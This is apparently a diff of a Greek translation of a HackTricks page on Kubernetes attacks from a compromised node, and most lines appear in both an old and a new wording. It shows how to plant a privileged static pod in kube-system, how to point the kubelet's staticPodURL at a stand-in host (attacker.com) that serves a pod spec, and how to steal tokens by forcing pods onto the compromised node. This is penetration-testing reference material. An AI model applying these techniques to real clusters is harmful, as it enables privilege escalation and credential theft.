Αν βρίσκεστε μέσα στο host του node μπορείτε να το κάνετε να δημιουργήσει ένα **static pod μέσα στον εαυτό του**. Αυτό είναι αρκετά χρήσιμο επειδή μπορεί να σας επιτρέψει να **δημιουργήσετε ένα pod σε ένα διαφορετικό namespace** όπως το **kube-system**.
|
||||
|
||||
Για να δημιουργήσετε ένα static pod, οι [**τεκμηριώσεις είναι μεγάλη βοήθεια**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Χρειάζεστε βασικά 2 πράγματα:
|
||||
Για να δημιουργήσετε ένα static pod, τα [**docs είναι πολύ χρήσιμα**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Βασικά χρειάζεστε 2 πράγματα:
|
||||
|
||||
- Ρυθμίστε την παράμετρο **`--pod-manifest-path=/etc/kubernetes/manifests`** στην **υπηρεσία kubelet**, ή στη **ρύθμιση kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) και επανεκκινήστε την υπηρεσία
|
||||
- Ρυθμίστε την παράμετρο **`--pod-manifest-path=/etc/kubernetes/manifests`** στην **kubelet service**, ή στο **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) και επανεκκινήστε την υπηρεσία
|
||||
- Δημιουργήστε τον ορισμό στο **pod definition** στο **`/etc/kubernetes/manifests`**
|
||||
|
||||
**Ένας άλλος πιο κρυφός τρόπος θα ήταν να:**
|
||||
**Μια άλλη πιο stealth μέθοδος θα ήταν να:**
|
||||
|
||||
- Τροποποιήσετε την παράμετρο **`staticPodURL`** από το αρχείο ρύθμισης του **kubelet** και να ορίσετε κάτι όπως `staticPodURL: http://attacker.com:8765/pod.yaml`. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα **static pod** παίρνοντας τη **ρύθμιση από την υποδεικνυόμενη διεύθυνση URL**.
|
||||
- Τροποποιήσετε την παράμετρο **`staticPodURL`** στο αρχείο config του **kubelet** και ορίσετε κάτι σαν `staticPodURL: http://attacker.com:8765/pod.yaml`. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα **static pod** λαμβάνοντας τη διαμόρφωση από το υποδεικνυόμενο URL.
|
||||
|
||||
**Παράδειγμα** ρύθμισης **pod** για να δημιουργήσετε ένα privileged pod στο **kube-system** που έχει ληφθεί από [**εδώ**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**Παράδειγμα** της **pod** διαμόρφωσης για τη δημιουργία ενός privilege pod στο **kube-system** ληφθέν από [**εδώ**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -284,10 +326,10 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### Διαγραφή pods + μη προγραμματιζόμενοι κόμβοι
|
||||
### Διαγραφή pods + unschedulable nodes
|
||||
|
||||
Εάν ένας επιτιθέμενος έχει **παραβιάσει έναν κόμβο** και μπορεί να **διαγράψει pods** από άλλους κόμβους και να **καταστήσει άλλους κόμβους ανίκανους να εκτελούν pods**, τα pods θα εκτελούνται ξανά στον παραβιασμένο κόμβο και θα μπορεί να **κλέψει τα tokens** που εκτελούνται σε αυτά.\
|
||||
Για [**περισσότερες πληροφορίες ακολουθήστε αυτούς τους συνδέσμους**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
Εάν ένας επιτιθέμενος έχει **compromised a node** και μπορεί να **delete pods** από άλλους κόμβους και να **make other nodes not able to execute pods**, τα pods θα επανεκτελεστούν στον compromised node και θα μπορεί να **steal the tokens** που τρέχουν σε αυτά.\
|
||||
Για [**περισσότερες πληροφορίες ακολουθήστε αυτόν τον σύνδεσμο**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Αυτόματα Εργαλεία
|
||||
|
||||
@@ -353,4 +395,13 @@ Off-Menu +
|
||||
```
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
|
||||
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
|
||||
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
|
||||
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user